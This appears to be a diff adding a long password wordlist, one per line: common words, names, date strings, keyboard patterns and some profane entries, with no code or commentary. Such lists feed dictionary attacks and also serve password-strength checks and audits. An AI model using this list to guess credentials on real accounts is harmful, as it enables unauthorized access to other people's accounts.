+fuente
+fuel
+fuckyou7
+fuckhard
+freeman1
+freelancer
+Freedom1
+franko
+fourth
+fordham
+FORD
+foothill
+focker
+fnord
+flynn
+flutie
+flamenco
+fishy1
+fire777
+finished
+filler
+fierce
+ferrets
+fernandes
+fenerbahce
+fedorova
+favre
+fatty1
+fartface
+fairmont
+fairfax
+fabolous
+EYpHed
+exit
+exercise
+excalibe
+EwYUZA
+evets
+everything
+evening
+etvwW4
+eternal1
+estela
+ernst
+erebus
+enemy
+elvin
+elephan
+elefante
+edwina
+eae21157
+dutchy
+dunn
+dukedog
+ducker
+dtlmvf
+drexel
+drakes
+draken
+doromich
+dont4get
+Domino
+dolomite
+dolittle
+dmitriev
+djhjyf
+discgolf
+dima2010
+digest
+dietrich
+Diesel
+dictiona
+dickies
+dfktyjr
+dfcbkmtd
+devo2706
+devin1
+Denver
+denial
+dbjktnnf
+davidkin
+david69
+dauren
+darrian
+darock
+darkknig
+dantheman
+daniel2
+dallastx
+curt
+cupid
+cubbie
+cubase
+cthuttdbx
+csfbr5yy
+croucher
+crapola
+cranberr
+cowbo
+counchac
+cottages
+corrine
+corrina
+corey1
+coolkid
+coocoo
+consul
+config
+condo
+concepts
+computador
+compound
+comcast1
+collier
+cochran
+cobrajet
+cntgfirf
+cnhjbntkm
+client
+clark1
+christen
+chrissi
+choppy
+chimpy
+chilton
+chile
+chiapet
+chBJun
+charlie5
+Charles1
+chantell
+cccp
+Cccccc1
+caspian
+casimir
+carvin
+carnal
+carlos2
+canibus
+canberra
+Cameron
+cambria
+calais
+cacacaca
+cabibble
+buzzbuzz
+buttons1
+buttlove
+bustanut
+burunduk
+burgundy
+bumblebee
+Bullshit
+bullride
+Bulldog
+bujhtr
+buckwheat
+buckskin
+buckfast
+brooking
+brooke1
+brianb
+brett1
+brend
+Brandon1
+Bradley
+braces
+boyscout
+BOSTON
+booze
+boost
+boome
+bonou2
+bonobo
+bonk
+bonit
+bomba
+bogus1
+boeing74
+bob1234
+boaz
+bmwm3
+bmw325is
+bluered
+blenheim
+blasen
+bladerun
+blader
+biteme2
+birds
+birdies
+biochem
+binky1
+billyd
+bikerboy
+BIGTITS
+bigpimpin
+bighurt
+bigal1
+bibles
+bette
+bethany1
+belles
+beehive
+becca1
+beaver1
+beasley
+bearshare
+beard
+bbbbbbbbbb
+Bbbbb1
+batboy
+bastard1
+bassmast
+bashful
+bartjek
+barely
+bannana
+baltimore
+badkitty
+badcat
+babs
+babe23
+azimut
+azathoth
+axlrose
+atlast
+asshole2
+asshat
+aspen1
+ASDFGH
+asd123456
+asbestos
+artistic
+aron
+arkham
+areyukesc
+archana
+apostol
+anyway
+Antonio
+antonell
+antivirus
+anti
+another1
+annie2
+annalisa
+angel11
+anelka
+andyman
+andree
+anabel
+amiga1
+America
+amadeo
+altoid
+alohomora
+allthat
+alien1
+alex2000
+alesis
+aleks
+aldric
+albatross
+alana
+akira1
+aikoaiko
+.adgjm
+adele
+abyss
+absurd
+ABCDEF
+abcde123
+aaaaaas
+aaaaaaaaaaaa
+9sKw5g
+9988aa
+996699
+987987987
+98741236
+9119
+8WoMys
+8765
+80070633pc
+7kbe9D
+7862
+77777778
+686xqxfg
+666888
+5674
+565hlgqo
+55667788
+5525
+543216
+52678677
+5005
+4_LiFe
+495rus19
+4815162342lost
+4678
+46464646
+4621
+4535
+4430
+440440
+4190
+4053
+3way
+3mta3
+3782
+331234
+3311
+314314
+313233
+311291
+311284
+311282
+31121910
+311091
+31101996
+31051973
+31031996
+31031995
+31031972
+301285
+301282
+30121998
+30121974
+30121969
+301085
+301083
+300994
+300991
+30091976
+300887
+300883
+30081992
+30081974
+300792
+30051996
+30051976
+30051969
+300480
+300387
+30011972
+29111995
+29101971
+29101962
+290890
+29081996
+290776
+290680
+290592
+290576
+29051997
+29051971
+29051970
+290482
+29041998
+290379
+29031968
+290288
+29021976
+290191
+290184
+28121973
+28111974
+280992
+280986
+280892
+28081994
+280791
+280790
+280784
+280782
+280781
+280675
+28061979
+280581
+280579
+280578
+28051996
+280486
+28041973
+280377
+280376
+28031996
+280282
+280182
+28011973
+2741001
+271289
+271284
+271183
+271179
+27111994
+27111970
+270981
+270891
+27081974
+27071972
+27071969
+2706
+270387
+2703
+270285
+2702
+270193
+270190
+270186
+27011996
+27011973
+2701
+2662
+261289
+261287
+261285
+261281
+26121975
+26121972
+26121971
+26111993
+26111975
+260991
+260983
+26091976
+26091969
+2609
+26081975
+260687
+260684
+260676
+26061973
+260588
+260583
+260492
+260491
+26041972
+26041971
+260392
+260388
+260382
+260380
+26031997
+26031994
+260192
+26011972
+25262526
+251290
+251288
+251274
+251177
+251078
+250880
+250876
+25081974
+25081972
+25071970
+250693
+250689
+250581
+25052005
+250488
+250477
+25041972
+250389
+25031998
+250289
+25021975
+25021973
+250182
+25011972
+2448
+2447
+241288
+241287
+241077
+24101968
+240989
+240879
+24061974
+240594
+24051966
+240491
+24041969
+240289
+240288
+24021979
+240191
+240178
+240174
+24011973
+23452345
+231278
+23121973
+23101971
+23091976
+230890
+230879
+230857z
+23081996
+23081973
+23081969
+23081968
+230787
+230776
+23071968
+230682
+23061974
+23061973
+230580
+23051973
+230482
+230481
+23041971
+230382
+230380
+230276
+230192
+23011973
+23011966
+2275
+2234
+2215
+221279
+221122
+22111972
+221083
+220989
+22091973
+22071974
+22071973
+22061995
+220596
+22051972
+220483
+22041996
+22041969
+22031970
+220285
+220190
+220181
+2130
+211222
+21111969
+21101994
+21101971
+210986
+210975
+210891
+210793
+210791
+210781
+21071971
+210679
+21061970
+21061969
+210581
+210580
+21051998
+21051997
+210379
+210284
+21021975
+21021974
+210192
+210189
+21011996
+210000
+20121995
+201189
+20111994
+20111973
+201084
+20102011
+20101973
+200988
+200983
+20091968
+200884
+200792
+200790
+200783
+200782
+20072008
+20071977
+20061996
+200583
+200579
+20051971
+200389
+200380
+20031971
+200292
+200282
+20021995
+20021969
+200190
+20011967
+1William
+1um83z
+1Summer
+1qaz2w
+1qa2ws3ed4rf
+1Girls
+1Daniel
+19966991
+198500
+191292
+19121975
+191182
+19111994
+191087
+19101970
+19091976
+19091974
+190888
+190884
+190784
+19061996
+190590
+190489
+19041996
+19041972
+19031997
+19021973
+18281828
+182182
+181278
+181276
+181190
+18111977
+181077
+180982
+180882
+18081975
+18071973
+18071971
+180684
+180681
+180586
+18051972
+180383
+18031969
+180291
+18021976
+18021975
+18021962
+180190
+180179
+1771
+171291
+171281
+171184
+1711
+17101996
+170993
+17091977
+17091974
+17081995
+17081977
+17081972
+170789
+17061970
+170594
+170587
+17051995
+17051972
+170491
+170483
+170384
+170281
+17021997
+170190
+161283
+161279
+16121973
+16101994
+16101973
+160887
+160880
+160876
+160780
+160776
+16071974
+16071972
+16041998
+160393
+16021979
+16021973
+160189
+160180
+1598741
+151291
+151280
+151278
+15121997
+15121974
+151194
+15111976
+151088
+15091970
+1509
+150683
+150677
+15051997
+150485
+150479
+150373
+15031974
+150287
+150282
+150174
+150000
+1452
+14253
+1422
+141191
+141190
+141189
+141184
+14111978
+14101998
+140978
+140974
+14091972
+140783
+140777
+140692
+14061975
+140593
+140592
+140582
+140575
+14051976
+14051969
+140378
+140181
+140178
+1375
+1355
+131288
+13121996
+13111965
+131082
+130987
+130986
+130880
+130879
+130778
+13071973
+13071963
+130681
+13041972
+13031969
+130283
+130282
+130192
+13011997
+13011963
+1290
+1275
+126126
+125678
+123xxx
+123red
+123q321
+123as123
+123a321
+123963
+1236987z
+12354
+12345zxc
+1234576
+123456789f
+123456781
+1234565
+12345600
+123123123a
+12123
+12121996
+12121968
+121175
+121094
+121092
+121083
+121072
+12101995
+12101973
+12101210
+120990
+12091996
+120866
+12081995
+12081964
+120791
+120661
+12061973
+12061971
+12061963
+120577
+12051973
+12051968
+12041971
+12041967
+120395
+120374
+120370
+120284
+120202
+12011970
+11qq22ww
+11qq11
+11c645df
+1183
+1179
+117117
+1159
+11235
+1123456
+111181
+111180
+111167
+111087
+11101981
+11091973
+11091970
+110891
+110878
+110788
+11071975
+11061995
+110593
+110577
+110392
+110381
+11031973
+110297
+110277
+110188
+11011969
+11011101
+101283
+101274
+10121997
+101192
+101191
+1010101010
+1010101
+10091974
+100691
+100681
+100679
+10051969
+100495
+100380
+100379
+100290
+10021994
+10021974
+100178
+09877890
+0929
+0927
+091292
+091284
+091282
+09121973
+09121969
+091185
+091080
+09101976
+09101972
+090990
+090980
+090808qwe
+09061976
+090589
+090586
+090583
+09051995
+09051993
+0905
+090393
+090386
+09031994
+090288
+081288
+08121993
+08121974
+08111976
+081087
+08091996
+08091974
+080787
+080786
+08061975
+08061974
+08061973
+08051974
+080480
+0804
+080381
+08031972
+080283
+08011995
+08011977
+0801
+0723
+071290
+07111977
+07111974
+07091974
+070890
+070878
+07082000
+070797
+070775
+07071974
+07071973
+07031977
+07011995
+061294
+06111972
+06101967
+060987
+060977
+060897
+060886
+06081997
+06081995
+060693
+06061997
+060481
+06041972
+060390
+060387
+06031976
+06021974
+06021971
+060191
+051285
+051188
+051186
+05111975
+05111974
+05111973
+051083
+051081
+05101974
+05101971
+05091974
+05091973
+05091970
+05081995
+05081973
+050783
+05071975
+05071972
+0507
+05061998
+05061996
+05061995
+05061976
+050591
+050581
+050575
+050477
+05041970
+05031977
+050278
+05011981
+05011965
+04975756
+041281
+041189
+041188
+04101976
+04101973
+040980
+040979
+0409
+04081998
+040791
+04071973
+040687
+04061979
+04061974
+040591
+040590
+040584
+040579
+04051996
+040492
+04041970
+04041969
+040288
+040180
+04011979
+04011976
+04011972
+031180
+031086
+03091974
+0309
+030881
+03081995
+03081976
+030790
+030789
+030590
+030587
+030586
+030577
+03051995
+030484
+030390
+030386
+030384
+03031997
+03031970
+030273
+03021973
+03011994
+03011974
+021188
+021179
+020988
+02061965
+020589
+020586
+020585
+020581
+020580
+02051969
+020490
+020483
+020482
+020481
+020387
+02032007
+02031997
+02031996
+020275
+020187
+0128
+011288
+011287
+01121995
+01121970
+011189
+01111995
+01101994
+01101971
+01101968
+010982
+010979
+01091996
+01091975
+01091966
+010790
+010785
+01071971
+010576
+010574
+01051971
+01051963
+01051960
+010475
+01041960
+010386
+01031971
+01022009
+01020102
+010199
+010163
+010150
+01011951
+000555
+0003
+ZW6sYJ
+zsazsa
+zidane10
+zeta
+zebulon
+zazazaza
+zaxxon
+zambia
+yourself
+yeehaw
+xzibit
+xxxsex
+xxxman
+www111
+wwfwcw
+wuschel
+WU4EtD
+wswsws
+words
+woodsink
+woodcock
+wolfgar
+wolfer
+wolf1
+wizz
+wire
+winni
+wilson1
+Wilson
+willo
+wildwest
+wiggum
+where
+WHDBtP
+werty1
+welcome12
+weight
+watches
+WasHere
+warrant
+wanker1
+waddle
+vvvbbb
+vsevolod
+Vp6y38
+volvos
+vivien
+vivahate
+vitesse
+vitara
+virgini
+viktori
+vfylfhbyrf
+vfrfrf
+vfrcbr
+vfhecmrf
+Veronica
+veggie
+veedub
+vecmrf
+variety
+variant
+vanman
+valter
+uzumaki
+utjvtnhbz
+uthvfy
+upgrade
+underwoo
+undercover
+tycobb
+twocats
+turismo
+tujheirf
+tuczno18
+TRUSTNO1
+trstno1
+trippy
+trinity3
+tribute
+tribbles
+trevor1
+transformer
+tralfaz
+touchdown
+toucan
+torey
+toosexy
+tonic
+tm371855
+tivoli
+titanik
+tissot
+tinhorse
+timoxa
+timofey
+tiktak
+tiki
+TIFFANY
+ticker
+tibet
+tiberium
+thuggin
+thisis
+therat
+themaster
+test99
+teresita
+tequila1
+tennis12
+tekila
+technolo
+technic
+teatime
+teamo
+taylor2
+tatatata
+tassie
+tantan
+tamika
+sylwia
+sweet69
+Svetlana
+suze
+suspect
+supra1
+supersex
+sunfish
+suckthis
+studmuff
+strutter
+stronger
+striker1
+stratoca
+strat1
+stonewall
+sti2000
+STEVE
+steroids
+steels
+starfury
+stamina
+stalingrad
+squad
+spycams
+spooky1
+spokane
+spinal
+sparky12
+spammy
+south1
+soulman
+soon
+solange
+snuff
+Sniper
+sn00py
+smasher
+slowly
+sloopy
+slicker
+slava1
+skyhigh
+skorpion39
+skiman
+skaven
+skater1
+skank
+siouxsie
+simonsay
+sieben
+shutdown
+shots
+shooter1
+sheshe
+shellie
+shelli
+shell1
+shay
+sharp1
+shanks
+shakir
+shadow7
+sexybeast
+sexmeup
+sex12345
+sex1234
+seventee
+serpico
+seniors
+SECRET
+seaton
+scoubidou
+scotti
+scott2
+SCOTT
+scotsman
+Scorpio
+scorch
+schumacher
+schorsch
+scheme
+sauber
+satsuma
+satan66
+sarit
+sargon
+sardor
+sarahb
+sanya
+sandhya
+saltlake
+salam
+sade
+sachas
+sabin
+saab95
+s456123789
+ryno23
+ryan11
+ruger1
+rubyred
+roxane
+rossi46
+rosemari
+Ronald
+roman222
+roflmao
+roflcopter
+rodents
+rocket88
+rochdale
+rjktcj
+riot
+rimbaud
+rfhectkm
+rfhbyjxrf
+retlaw
+retarded
+reshma
+regular
+redtail
+redrover
+redhook
+red5
+recruit
+recon1
+RcLAKi
+rastafari
+rashmi
+ranma
+Rangers
+ranger01
+rally
+raintree
+raider1
+ragtop
+qwqw
+qweszxc
+qw12qw12
+QGuvYT
+QAZWSX
+putz
+putnam
+pussylip
+punky
+psswrd
+psalm23
+proust
+primavera
+primaver
+prettybo
+preston1
+pravda
+pound
+potomac
+portos
+pornoman
+pornografia
+poppen
+popmart
+pop123
+ponchik
+poly
+polo1234
+poke
+poiu123
+pmdmscts
+plop
+plenty
+plato1
+pirat
+pipper
+pipopipo
+pionex
+pinkpuss
+pimpshit
+picard1
+phillesh
+phatass
+phantom2
+petey1
+pernille
+period
+pereira
+peartree
+pear
+PATRICK
+patch1
+pass1word
+pass11
+pashka
+parol123
+pargolf
+para
+pappa
+PANTHER
+Panther
+panocha
+PACKERS
+P3e85tr
+oxnard
+ownz
+overland
+ov3aJy
+oreooreo
+oqglh565
+operatio
+onfire
+oneill
+one4all
+omega5
+olimpia
+olegoleg
+oldtimer
+okokokok
+nowayout
+notyou
+notoriou
+noshit
+Norman
+nokia8800
+nokia7610
+nokia6120
+nofx
+nocode
+nitsuj
+nite
+nisse
+nikole
+nightman
+nicolai
+newt
+newpoint
+nester
+nelli
+NdAswf
+natnat
+NATASHA
+nameless
+mydream
+mycroft
+mybuddy
+mtY3RH
+MSNxBi
+mowerman
+mouche
+mortar
+mort
+moroni
+morebeer
+moomin
+mookie12
+monster2
+monkey99
+monger
+mondo
+monami
+mollycat
+moises
+mmm666
+mitzi
+mithril
+minimal
+minamina
+Miller1
+milf
+MidCon
+micro1
+mick7278
+michaeld
+michael6
+MeveFalkcakk
+messer
+merda
+mercurio
+mellissa
+melissa2
+megapolis
+medellin
+mckinley
+mcbride
+mayamaya
+matt123
+matt11
+matahari
+masyanya
+masterca
+master69
+master23
+masmas
+masher
+marylou
+martyr
+martyn
+marmelad
+maritza
+marias
+mariann
+marciano
+mannie
+mandela
+management
+mamabear
+mama12
+maloney
+malaya
+maksimus
+makeme
+magnetic
+made
+maddy1
+maddie1
+mach1
+mace
+lyndon
+luv2fuck
+lucky5
+loveu
+lovergir
+love77
+lotus7
+loser123
+lorrie
+lora
+loopy
+looploop
+loophole
+loislane
+lobito
+liveevil
+littleon
+littleman
+linger
+Lincoln
+lime
+lilkim
+lickher
+liberte
+lewis1
+levelone
+leslie1
+lerochka
+leipzig
+leicester
+lehigh
+lawton
+latter
+lasombra
+laramie
+lambrett
+lambada
+lakers34
+kzkzkz
+kuku
+krueger
+kramer1
+kornkorn
+komarova
+Kirill
+kind
+kin
+killie
+khorne
+Kevin
+Kerstin
+kerri
+kenyatta
+kenshiro
+kendrick
+kender
+keeley
+KAZANTIP
+kayaking
+kawasak
+katana1
+kassandra
+kartal
+karman
+karens
+kamil1
+kali
+kakka
+kagome
+justforfun
+june29
+jujitsu
+joWgNx
+josejose
+jordan11
+jonnie
+JONATHAN
+jolie
+johnny69
+Johnny1
+John1
+jo9k2jw2
+jlhanes
+jimmyg
+jimmer
+jiggy
+Jessie
+jello1
+jeffer
+jeepcj5
+jeannine
+jazzbass
+JASPER
+jason2
+jamielee
+jamesr
+jaime1
+jacqueline
+jacob6
+jackryan
+jack22
+jack11
+j12345
+ironroad
+insuranc
+impossible
+Impala
+imhere
+ilovejen
+iggypop
+idkfa
+ideas
+iBxNSM
+ibragim
+iamtheone
+iaapptfcor
+huston
+hungary
+humberto
+hubby
+hubble
+HshFD4n279
+house2
+hotbod
+HORSES
+hood
+honda2
+homer2
+holen1
+holding
+holas
+hitech
+hiram
+highwind
+hibees
+hiawatha
+heyjoe
+heVnm4
+herpes
+hellrais
+hello5
+healing
+hawking
+hawkdog79
+hater
+hash
+harley12
+hardline
+hardin
+hardhat
+hardcore1
+handbags
+halogen
+hakkinen
+guzzi
+guyguy
+guyana
+gunslinger
+Guitar
+guido1
+guards
+guadalup
+griffins
+griffin1
+grenada
+greenwood
+green7
+grand1
+gowings
+gowest
+gotit
+goomba
+googl
+goleafs
+goldsink
+GOLDEN
+gogirl
+godisgood
+goddog
+goddamn
+gjrtvjy
+gjhjctyjr
+giorgia
+giggsy
+ghbphfr
+ghbdt
+gfif1991
+gfhjkmxbr
+getbent
+gertie
+genova
+genevieve
+genera
+geforce
+geek
+gatto
+gasoline
+gardiner
+gangsta1
+gambino
+galactus
+gaelle
+gadzooks
+fylhjvtlf
+fwsAdN
+froggy1
+friction
+freud
+freelanc
+fraud
+francais
+fQKW5M
+forfree
+fordtruck
+ford9402
+folsom
+flushing
+Florence
+florenc
+FLIGHT
+fleury
+fkbyf001
+fishbait
+fireworks
+filters
+filipe
+file
+fiji
+fett
+ferdinan
+fedor
+fausto
+f123456
+eyespy
+extasy
+extacy
+explicit
+everythi
+evertonf
+espanol
+esmerald
+endymion
+emotion
+emery
+elysium
+elli
+elias
+elenka
+eldar
+eggbert
+eFYrEG
+edward12
+economic
+eagles05
+dynastar
+duke3d
+duff
+drives
+drawing
+drakula
+drakkar
+draconis
+doyle
+downlow
+DOUGLAS
+dorina
+doober
+domani
+dolphin2
+dodododo
+djohn11
+djhvbrc
+dizzy1
+disturbe
+diosesamo
+dionne
+dinesh
+dima1997
+diggity
+digger1
+digdug
+diesel1
+diego1
+dictionary
+dickson
+dice
+Diamond1
+dfkthbq
+destruct
+desoto
+denver1
+demigod
+demeter
+demented
+deluge
+deltaforce
+delasoul
+deaddog
+dcba
+dbrnjhjdyf
+dbityrf
+davido
+dave12
+datalore
+datalife
+darter
+darre
+danadana
+damon1
+dallas21
+Dale
+dakot
+cyZKhw
+cyjdsvujljv
+cutie1
+customs
+curtain
+cumnow
+cuddle
+cubfan
+cruzer
+crooked
+cresta
+creaven
+crayola
+crawler
+costas
+corvair
+corset
+cornet
+cordless
+copter
+copeland
+cooley
+coolbeans
+cookies1
+console
+condition
+community
+comments
+comet1
+colole57
+collingw
+cokecoke
+codydog
+cocorico
+cocoon
+cocodog
+cocky
+cobaka
+cleavage
+clayton1
+cigarett
+cierra
+chunk
+chubby1
+chris21
+choco
+chiller
+chaz
+cayuga
+catty
+catmando
+carpenter
+carly1
+carla1
+carine
+cara
+cantrell
+candela
+camar
+CaLiGuLa
+californi
+caleb1
+cable1
+c7Lrwu
+bvgthfnjh
+butter1
+burnett
+bullitt
+Bulldogs
+Bulldog1
+buffie
+Buddy
+brookie
+Brooke
+broke
+brendan1
+breakfas
+brando1
+brady12
+bozeman
+bowling1
+bosto
+boscoe
+bongbong
+boner1
+bojangle
+boeder
+bobbyd
+bobble
+bmw330
+bluess
+blue77
+blue66
+blue2
+bloom
+bladder
+blackhol
+blackadd
+Black1
+biscayne
+birthday299
+birdie1
+birdhouse
+bingbong
+bimini
+bill1
+bigrob
+bignose
+bigload
+bigdog69
+bigdan
+bigboob
+berliner
+bennyboy
+beertje
+bebebebe
+beaufort
+bearshar
+beachboy
+Bbbbbbb1
+baxter1
+Baxter
+bastion
+bassboat
+bassale
+bartbart
+barne
+barkley1
+barkbark
+barclays
+barbi
+balzac
+ballpark
+balefire
+bakugan
+bakayaro
+bagel
+babycat
+azbuka
+azalea
+autobot
+austi
+asscrack
+asdjkl
+asdfghjkl123
+asdfasd
+asbury
+artwork
+arthu
+artart
+arseniy
+argentum
+arakis
+aqua
+applemac
+apokalipsis
+antosha
+antoha
+anon
+ANGELA
+andrey123
+andrew2
+ammo
+amandine
+amalgam
+almaz
+allstar1
+allanon
+alistair
+alinochka
+alfie1
+alfalf
+albundy
+alarm
+alameda
+ajtdmw
+AjcuiVd289
+airedale
+AIRBORNE
+aidana
+agency
+advantag
+admiral1
+actors
+access20
+academia
+abigai
+abcd12
+Aalborg
+a1b2c
+9991
+9899
+96321478
+87878787
+794613852
+78963
+7777755102q
+7558795
+74185
+741236985
+69dude
+640xwfkv
+5t6y7u8i
+5t4r3e2w1q
+5963
+55555q
+5440
+5416
+4TLVeD
+4DwvJj
+4all
+492529
+4653
+4570
+4551
+45454
+4411
+4012
+40028922
+38972091
+3809
+3787
+3698
+34524815
+3436
+343104ky
+3356
+333z333
+333222111
+3300
+31217221027711
+311269
+31121996
+31121972
+31121970
+31121969
+311084
+310892
+310791
+310786
+31071975
+31071972
+310579
+310382
+310376
+31011996
+31011970
+301281
+301275
+301181
+30111972
+301088
+300989
+300976
+30091996
+300879
+300790
+30071994
+30071974
+3007
+300685
+300679
+30061970
+300576
+300489
+30031970
+300192
+2pac
+291287
+291281
+291189
+29111972
+29111966
+291091
+29101997
+290984
+290889
+290887
+29081977
+290779
+29071997
+29071972
+290685
+290679
+29061977
+290591
+290587
+290583
+290580
+29052000
+290485
+290480
+29031972
+29031971
+2903
+29011974
+281281
+2810
+28091970
+280878
+28081977
+28081965
+280785
+28071997
+280682
+280680
+28061995
+28061974
+280575
+28051971
+28051970
+280493
+280484
+280483
+28041970
+28031997
+2803
+280291
+28021966
+280190
+280185
+28011995
+271182
+271085
+271082
+2709
+27081997
+27071971
+27071961
+27061997
+270579
+270495
+270493
+270480
+27041996
+270390
+27031995
+27031975
+270286
+270281
+270192
+270188
+270181
+27011972
+26121976
+26111980
+261086
+261079
+26101976
+26101973
+260zntpc
+260990
+26091977
+26091970
+260893
+260679
+26061996
+260582
+26051972
+26051969
+260483
+26041977
+260373
+26021974
+260183
+26011974
+2554
+2531
+2526
+251285
+251275
+251192
+251187
+251178
+25111997
+250985
+25081973
+250781
+250777
+250776
+25061974
+25051971
+250379
+250377
+25031975
+25031973
+250290
+25021970
+25021969
+25012501
+25011998
+25011971
+24PnZ6kc
+248248
+24681357
+246800
+2455
+24121995
+24121978
+241187
+241185
+24101975
+240983
+240687
+240681
+24061973
+240578
+24051997
+240395
+240283
+240282
+240281
+240181
+24011971
+24011970
+235235
+2333
+2325
+23121998
+23101999
+230891
+230886
+23081971
+2308
+230778
+230777
+23071997
+230592
+23051974
+230483
+230477
+23041969
+230378
+23031996
+230281
+23021998
+23021968
+23011998
+2221
+22121975
+221179
+221172
+22111980
+22111969
+221082
+220993
+220987
+220985
+220982
+22091996
+22081970
+220780
+22071971
+220676
+220595
+22051975
+220490
+220394
+220380
+22031996
+220282
+220277
+22021969
+220192
+220191
+220189
+220180
+2154
+21312131
+2127
+2112yyz
+211294
+211271
+21121995
+21111996
+21111972
+211076
+2109
+210885
+210883
+21081998
+21081997
+210778
+21071969
+210583
+210582
+210577
+210575
+21051978
+210480
+210393
+21031971
+21031966
+210292
+210176
+201284
+20111976
+201078
+200992
+20091972
+200785
+200691
+200681
+200680
+20061975
+200580
+200493
+200486
+200475
+20041974
+200382
+20031997
+200283
+20022004
+200193
+200191
+200186
+20011998
+20011974
+1Tigger
+1Superma
+1Samanth
+1Robert
+1qwerty1
+1John
+1hxboqg2s
+1Horny
+1Diamond
+1Bubba
+19mtpgam19
+19992000
+199000
+198989
+198585
+197222
+1931
+19121996
+19121973
+19111996
+191085
+190989
+190988
+190986
+19081974
+19081973
+190787
+19071969
+19061997
+19061960
+190592
+190589
+190588
+190585
+190578
+190576
+190482
+19031903
+190189
+18121971
+18111972
+18111970
+18101972
+18091974
+18091970
+180874
+18081967
+180785
+180691
+18061971
+1806
+180578
+18051970
+180491
+180489
+18041996
+180382
+18031974
+180278
+18021973
+180189
+18011977
+171290
+171278
+171180
+171179
+17101960
+170988
+17091971
+170885
+170882
+170880
+170793
+170792
+17071971
+170671
+17061997
+17061996
+1706
+170579
+17051971
+17051970
+170482
+17041996
+17041963
+170376
+17031970
+17021973
+170187
+170178
+170173
+17011970
+161278
+16121970
+161186
+161180
+161081
+161077
+16101970
+1610
+160992
+16091997
+16091972
+16081997
+16071973
+160595
+160577
+16051973
+160489
+160483
+16041968
+16031969
+160294
+160287
+160280
+16021998
+16021965
+160179
+1601
+15995
+159753159753
+151617
+15121970
+15121965
+15111973
+151090
+151085
+15101966
+150982
+15091997
+15091972
+150881
+15081970
+150791
+15071979
+15071968
+150694
+150679
+1506
+150578
+150575
+150393
+150378
+15022000
+15021970
+150193
+15011970
+1445
+14344
+1433
+1424
+1418
+141284
+141277
+14101978
+14091997
+14091976
+140885
+140884
+140790
+140583
+140570
+140569
+14051974
+14041973
+14041968
+140391
+140359
+14031995
+14031976
+14031975
+1403
+140281
+140193
+1362
+13579a
+1357900
+1333
+1326
+131284
+131278
+13121977
+13121972
+13121971
+13121970
+131184
+131183
+13091977
+13071998
+130679
+130578
+13051997
+13051979
+13051968
+130478
+13041996
+130389
+130380
+13031972
+13031968
+130280
+13021971
+13021302
+130185
+130171
+12pack
+1265
+123zxc123
+123654q
+123654a
+12345b
+1234567t
+123456789qw
+12345678987654321
+123147
+1212qq
+121276
+12121963
+121194
+12111997
+12111995
+121098
+121068
+12101972
+120895
+120877
+12081997
+12081973
+12081971
+12071971
+120672
+120596
+120570
+120569
+120555
+120470
+120383
+120375
+12031997
+12031972
+12031971
+120286
+120191
+120177
+120176
+11bravo
+1173
+1151
+11251125
+111279
+11121994
+11111111a
+111090
+111080
+111078
+11102000
+110886
+11081972
+11081969
+110781
+110776
+110694
+110598
+110594
+110592
+11041995
+110378
+110376
+110294
+110275
+110181
+11011997
+11011995
+1071
+10251025
+101974
+10191019
+101284
+101272
+101183
+10111213
+10101997
+10101971
+10091967
+100892
+10081996
+100793
+10071007
+100695
+100689
+100682
+100674
+10061999
+10061995
+10061976
+10061966
+100588
+10051972
+10051970
+100491
+100482
+100377
+10031997
+10031970
+100291
+100283
+10021959
+100191
+100180
+100174
+100172
+10011968
+10001000
+0okm9ijn
+0928
+091283
+091277
+09111978
+091088
+091084
+09101969
+09091970
+09081995
+090790
+09071972
+090687
+090686
+090578
+090487
+09041996
+0903
+09021972
+0902
+09011997
+0813
+081284
+081280
+08101994
+080986
+080898
+08081971
+08061996
+080590
+080578
+08051972
+080484
+08041972
+080388
+08031996
+08031974
+08031963
+08021977
+08021975
+08021970
+0722
+071287
+071188
+07111995
+071086
+07101973
+07091978
+070882
+070881
+07081969
+070779
+07051997
+07051995
+07051975
+07051961
+070492
+070487
+070486
+070385
+07031997
+07031976
+070290
+06225930
+0614
+061293
+061291
+061285
+06111977
+06111970
+061086
+061077
+06101981
+060981
+06091969
+06081998
+060787
+060785
+060779
+06071974
+060666
+06061971
+06061966
+060590
+060588
+060388
+060288
+060183
+06011973
+0587
+0518
+051290
+051282
+051272
+05121994
+05121974
+05111995
+05111970
+05101996
+050983
+050884
+05081997
+05081967
+050790
+050787
+050781
+05071996
+050687
+050587
+050577
+05051970
+050487
+050478
+05031973
+05031972
+050285
+050282
+0429
+04121970
+04111975
+041092
+041076
+04091972
+040880
+04081973
+04081967
+040689
+04061998
+04051972
+040474
+04041972
+040388
+040382
+04031974
+04031972
+04021999
+04021975
+040182
+04011994
+0326
+0318
+031187
+03111972
+031084
+031080
+03101970
+030986
+03091997
+03091972
+03091971
+030891
+030887
+030872
+03081971
+030792
+030681
+03061974
+030585
+030486
+030485
+030483
+030387
+030380
+030379
+03031963
+03021975
+030201
+030191
+030188
+030184
+03011996
+03011960
+0291
+0225
+02121997
+021183
+021182
+02111994
+021085
+02091968
+0209
+02081996
+020785
+020690
+020685
+020681
+02061996
+020496
+020488
+020487
+020392
+02032000
+02031967
+020289
+020278
+020276
+02021998
+011290
+011289
+011180
+01111971
+01111969
+011085
+011083
+010987
+01092009
+010889
+010887
+01081998
+01081976
+010783
+01071963
+010694
+010691
+010681
+01061996
+01061972
+010591
+010590
+010585
+01051973
+010491
+01041999
+010391
+01032011
+01032010
+01032009
+010277
+01021997
+010165
+010161
+01012004
+01011954
+01011952
+01011901
+0071
+006969
+00197400
+00001
+*******
+Zzzzzzz1
+zxcvfdsa
+zxcvbnm.
+zorros
+znbvjd
+zipzip
+zenit2011
+zara
+zaqqaz
+zagreb
+Yyyyyyy1
+younger
+yojimbo
+yfgjktjy
+yessss
+Yellow1
+yeah11
+yank
+xzsawq21
+xyzxyz
+Xxxxx1
+xakepy
+wwwwwwwwww
+wp2005
+wolf69
+wojtek
+Winter
+WINNER
+william3
+wildstar
+wiener
+wichita
+whyme
+whattheh
+westwing
+werwolf
+weldon
+webster1
+wayland
+waste
+washing
+warwar
+waQW3p
+w8gkz2x1
+vwjetta
+vovchik
+volt
+viviane
+vitoria
+vision1
+Vincent
+Viking
+vfvektxrf
+vfhrbpf
+vetteman
+verde
+vega
+vbnvbn
+variable
+v12345
+usmc69
+uruguay
+unity
+uniform
+unforgiven
+tyrik123
+twotwo
+twitch
+twinz
+twinky
+tvxtjk7r
+trunk
+trump
+trinit
+trainman
+trading
+townsend
+totalwar
+torrie
+torben
+topdevice
+tomat
+toenail
+tk421
+titotito
+tink
+tingting
+tinfloor
+timofei
+timeline
+tijger
+tiffani
+tickleme
+thermo
+thegame1
+tensor
+TENNIS
+teddys
+teardrop
+teachers
